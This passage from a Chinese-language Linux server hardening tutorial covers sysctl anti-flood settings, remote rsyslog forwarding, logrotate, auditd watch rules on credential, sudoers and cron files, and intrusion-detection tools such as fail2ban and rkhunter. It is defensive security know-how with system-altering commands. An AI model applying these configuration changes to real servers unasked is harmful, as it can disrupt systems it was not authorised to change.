忽略广播ICMP请求,防止Smurf攻击 net.ipv4.icmp_echo_ignore_broadcasts = 1 # 忽略所有ICMP请求,业务不需要时开启 # net.ipv4.icmp_echo_ignore_all = 1 # 开启TCP洪水攻击防护 net.ipv4.tcp_synack_retries = 2 net.ipv4.tcp_syn_retries = 2 # 开启地址空间布局随机化,抵御缓冲区溢出攻击 kernel.randomize_va_space = 2 # 3、使内核参数配置生效 sysctl -p 六、日志审计与入侵防御体系建设6.1 日志全量审计与远程同步本地日志可被黑客删除篡改,必须配置日志远程同步,将所有系统日志、认证日志、业务日志实时同步到不可篡改的远程日志平台,这是溯源攻击行为的核心根基。# 1、配置rsyslog日志远程同步,将日志发送到远程日志服务器 vi /etc/rsyslog.conf # 新增配置,将所有日志通过TCP协议发送到远程日志服务器192.168.1.200的514端口 *.* @@192.168.1.200:514 # 2、重启rsyslog服务生效 systemctl restart rsyslog # 3、配置日志轮转,防止日志占满磁盘空间 vi /etc/logrotate.conf # 核心配置: rotate 30 # 保留30天的日志 daily # 每天轮转一次 compress # 压缩历史日志 missingok # 日志文件不存在不报错 notifempty # 空日志不轮转 6.2 系统操作行为全量审计通过 auditd 审计服务,监控所有敏感操作,包括账号修改、文件篡改、命令执行、权限变更,所有操作都会被记录,即使黑客清理了 Shell 历史,也无法删除审计日志。# 1、安装auditd审计服务 # CentOS/RHEL:yum install -y audit # Ubuntu/Debian:apt install -y auditd audispd-plugins # 2、启动服务并设置开机自启 systemctl start auditd systemctl enable auditd # 3、配置审计规则,监控核心敏感操作 vi /etc/audit/rules.d/audit.rules # 新增核心审计规则: # 监控账号配置文件修改 -w /etc/passwd -p wa -k passwd_modify -w /etc/shadow -p wa -k shadow_modify -w /etc/group -p wa -k group_modify # 监控认证配置修改 -w /etc/ssh/sshd_config -p wa -k sshd_modify -w /etc/sudoers -p wa -k sudo_modify # 监控定时任务修改 -w /etc/crontab -p wa -k cron_modify -w /etc/cron.d/ -p wa -k cron_dir_modify # 监控root用户的命令执行 -a exit,always -F arch=b64 -F euid=0 -S execve -k root_exec # 监控SUID提权操作 -a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -k su_exec -a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k sudo_exec # 4、重载审计规则生效 augenrules --load # 5、查看审计日志,排查异常操作 ausearch -k passwd_modify ausearch -k sshd_modify 6.3 入侵防御工具部署1、 部署 fail2ban,自动封禁暴力破解 IP:监控 SSH、Web 服务的登录失败日志,连续多次失败后自动封禁 IP,杜绝暴力破解攻击。2、 部署 rkhunter 与 chkrootkit,定期检测 rootkit 后门:每周执行一次全盘扫描,检测黑客植入的 rootkit、后门程序。3、 部署 ClamAV 开源杀毒软件,定期扫描恶意文件:配置定时任务,每天凌晨扫描 Web 目录、临时目录,查杀 WebShell、恶意程序。七、持续运营与应急响应安全加固不是一次性操作,而是持续的运营过程,需建立完整的基线检查、漏洞管理、应急响应机制:1、 每月执行一次系统安全基线检查,对比加固基线,发现配置偏移立即修复2、 每周执行一次系统漏洞扫描,及时安装系统与软件的安全补丁,高危漏洞需 24 小时内完成修复3、 每天审计系统日志与告警信息,发现异常登录、文件修改、端口扫描行为,立即启动应急排查4、 定期备份核心配置文件与业务数据,制定完整的应急响应预案,发生入侵事件时可快速隔离、溯源、恢复业务结尾Linux 服务器安全加固的核心,是构建 “事前预防、事中阻断、事后溯源” 的完整防护体系。没有绝对安全的系统,但通过最小权限、纵深防御、持续审计的加固思路,可最大程度提升服务器的抗入侵能力,将黑客攻击的成本提升到最高,攻击成功率降到最低。
2026年04月10日
1,217 阅读
0 评论
0 点赞